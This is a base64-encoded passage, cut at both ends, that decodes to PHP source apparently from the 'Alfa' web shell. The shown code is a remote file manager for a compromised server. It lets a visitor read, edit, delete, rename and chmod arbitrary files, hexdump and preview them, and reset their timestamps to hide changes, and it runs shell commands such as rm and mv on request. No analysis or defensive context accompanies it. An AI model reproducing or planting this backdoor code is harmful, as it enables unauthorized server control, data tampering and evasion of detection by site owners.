ICJlZGl0IjsKfQp9CmlmKCFfYWxmYV9maWxlX2V4aXN0cyhAJF9QT1NUWydhbGZhMSddKSl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydhbGZhNCddLiInKTs8L3NjcmlwdD4iOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQppZigkY2hkaXJfZmFscyl7CiRmaWxlc2l6ZSA9ICRmaWxlX2luZm9bM107CiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07CiRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07CiRwZXJtY29sb3IgPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kcGVybV9jb2xvcl9jbGFzcywibnVtIj0+JGZpbGVfaW5mb1s1XSwiaHVtYW4iPT4kZmlsZV9pbmZvWzZdKSx0cnVlKTsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydhbGZhMSddKSk6Jyc7CiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKSk6Jyc7CmlmKCEkdWlkJiYhJGdpZCl7CiR1aWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkX1BPU1RbJ2FsZmExJ10pOicnOwokZ2lkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKTonJzsKfQokcGVybWNvbG9yID0gYWxmYVBlcm1zQ29sb3IoJF9QT1NUWydhbGZhMSddKTsKJGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVFsnYWxmYTEnXSk7CmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7CglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpKXsKCQlsaXN0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiYWxmYTEiXSkuJyInKSk7Cgl9Cn0KfQppZihzdWJzdHIoJF9QT1NUWydhbGZhMSddLCAwLCA3KSA9PSAicGhhcjovLyIpewoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2FsZmExJ107Cn1lbHNlewoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydhbGZhMSddKTsKfQplY2hvICc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRhbGZhMV9kZWNvZGVkKSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5TaXplOjwvc3Bhbj4gJy5hbGZhU2l6ZSgkZmlsZXNpemUpLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+UGVybWlzc2lvbjo8L3NwYW4+ICcuJHBlcm1jb2xvci4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPkRpcmVjdG9yeTo8L3NwYW4+ICcuZGlybmFtZSgkYWxmYV9maWxlX2RpcmVjdG9yeSkuJzwvZGl2Pic7CmlmKGVtcHR5KCRfUE9TVFsnYWxmYTInXSkpJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwppZighX2FsZmFfaXNfZGlyKCRfUE9TVFsnYWxmYTEnXSkpewokbSA9IGFycmF5KCdWaWV3JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZXRlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsKJGZ0eXBlID0gImZpbGUiOwp9ZWxzZXsKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiRmdHlwZSA9ICJkaXIiOwp9CmVjaG8oJzxkaXY+Jyk7CmZvcmVhY2goJG0gYXMgJHYpCmVjaG8gJHYgPT0gJ0RlbGV0ZScgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoaz1jb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgVGhpcyBGaWxlID9cJyk7Y2hrP2VkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydhbGZhMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk6XCdcJzsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydhbGZhMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPiAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydhbGZhMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJykiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydhbGZhMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPic7CmVjaG8gJzwvZGl2Pic7CnN3aXRjaCgkX1BPU1RbJ2FsZmEyJ10pewpjYXNlICd2aWV3JzpjYXNlICdlZGl0JzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGRpc2FibGVkX2J0biA9ICIiOwppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkmJiFfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKJGRpc2FibGVkX2J0biA9ICJkaXNhYmxlZD1kaXNhYmxlZCI7CiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokX1BPU1RbJ2FsZmEzJ10gPSBzdWJzdHIoJF9QT1NUWydhbGZhMyddLDEpOwokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKTsKJGZwID0gQF9fd3JpdGVfZmlsZSgkX1BPU1RbJ2FsZmExJ10sJF9QT1NUWydhbGZhMyddKTsKaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7Cgkkcm5hbWUgPSAkYWxmYTFfZGVjb2RlZDsKCSRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOwoJaWYoJGZwID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnYWxmYTMnXSkpewoJCWFsZmFFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsKCX0KfQppZigkZnApewplY2hvICdTYXZlZCE8YnI+JzsKQHRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSk7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50IGVkaXRvci1hY2UtY29udHJvbGxlciI+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7Ij4nLl9hbGZhX2xvYWRfYWNlX29wdGlvbnMoImVkaXRvciIpLic8YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZCh0aGlzKTsiPkNvcHk8L2J1dHRvbj4gPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uY2xpY2s9ImFsZmFBY2VUb0Z1bGxzY3JlZW4odGhpcyk7Ij5GdWxsIFNjcmVlbjwvYnV0dG9uPiA8YnV0dG9uIG9uY2xpY2s9InZhciBhY2VfdmFsID0gYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbdGhpcy5nZXRBdHRyaWJ1dGUoXCdhY2VfaWRcJyldLmdldFZhbHVlKCk7ZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKS4nXCcsXCdlZGl0XCcsXCcxXCcrYWNlX3ZhbCxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIgYWNlLXNhdmUtYnRuIiBzdHlsZT0id2lkdGg6IDEwMHB4O2hlaWdodDogMzNweDsnLiRkaXNhYmxlZF9idG5fc3R5bGUuJyIgJy4kZGlzYWJsZWRfYnRuLic+c2F2ZTwvYnV0dG9uPjwvZGl2PjxwcmUgY2xhc3M9Im1sMSB2aWV3X21sX2NvbnRlbnQiPic7CmVjaG8gaHRtbHNwZWNpYWxjaGFycyhfX3JlYWRfZmlsZSgkX1BPU1RbJ2FsZmExJ10pKTsKZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsKYnJlYWs7CmNhc2UgJ2hpZ2hsaWdodCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCI+PGRpdiBjbGFzcz0ibWwxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnYWxmYTEnXSx0cnVlKTsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewokZGVsZXRlZCA9IHRydWU7CmlmKCFAdW5saW5rKCRfUE9TVFsnYWxmYTEnXSkpewoJJGRlbGV0ZWQgPSBmYWxzZTsKCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CgkJCWFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7CgkJCSRkZWxldGVkID0gdHJ1ZTsKCQl9Cgl9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydhbGZhNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnYWxmYTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjYXNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2FsZmExJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjYWNoZSgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOwp9ZWxzZXsKCSRmaWxlX3Blcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRfUE9TVFsnYWxmYTEnXSkpLC00KTsKfQplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMuY2htb2QudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iJy4kZmlsZV9wZXJtLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGMgPSBfX3JlYWRfZmlsZSgkX1BPU1RbJ2FsZmExJ10pOwokbiA9IDA7CiRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwokbGVuID0gc3RybGVuKCRjKTsKZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CnN3aXRjaCAoIG9yZCgkY1skaV0pICkgewpjYXNlIDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKJGFsZmEzX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CiRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kYWxmYTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnYWxmYTEnXSwgJF9QT1NUWydhbGZhMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kYWxmYTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kYWxmYTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2FsZmE0J10uJyJdLmZpbGUgPSAiJy4kYWxmYTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGFsZmExX2VzY2FwZS4nIiwgIicuJGFsZmEzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09ICJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnYWxmYTQnXS4iJywnIi4kYWxmYTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRhbGZhMV9lc2NhcGUgPSAkYWxmYTNfZXNjYXBlO30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kYWxmYTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2FsZmEzJ10pJiYkX1BPU1RbJ2FsZmEzJ10hPScnPyRfUE9TVFsnYWxmYTMnXTokYWxmYTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CgkkdG91Y2hlZCA9IHRydWU7Cn0KaWYoIUB0b3VjaCgkX1BPU1RbJ2FsZmExJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpCmVjaG8gJ0ZhaWwhJzsKZWxzZQplY2hvICdUb3VjaGVkISc7Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKfQpjbGVhcnN0YXRjYWNoZSgpOwplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06QGZpbGVtdGltZSgkX1BPU1RbJ2FsZmExJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2ltYWdlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKZWNobygnPGhyPicpOwokZmlsZSA9ICRfUE9TVFsnYWxmYTEnXTsKJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsKaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7CiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07CiRoZWlnaHQgPSAoaW50KSRpbWFnZV9pbmZvWzFdOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCSRzb3VyY2UgPSBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJGltYWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7Cn0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOwppZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMDt9CmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJTtib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOwp9CmJyZWFrOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFGb290ZXIoKTsKfQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7CiRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsKJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGxzeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6JywnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2FsZmEnLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2JywnYXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7CmlmKCR0eXBlIT0nZmlsZScpewpyZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsKfWVsc2V7CiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7CiRleHQgPSBlbmQoJGV4dCk7CiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7Cn0KfQpmdW5jdGlvbiBhbGZhZGxmaWxlKCl7CmlmKGlzc2V0KCRfUE9TVFsnYyddLCRf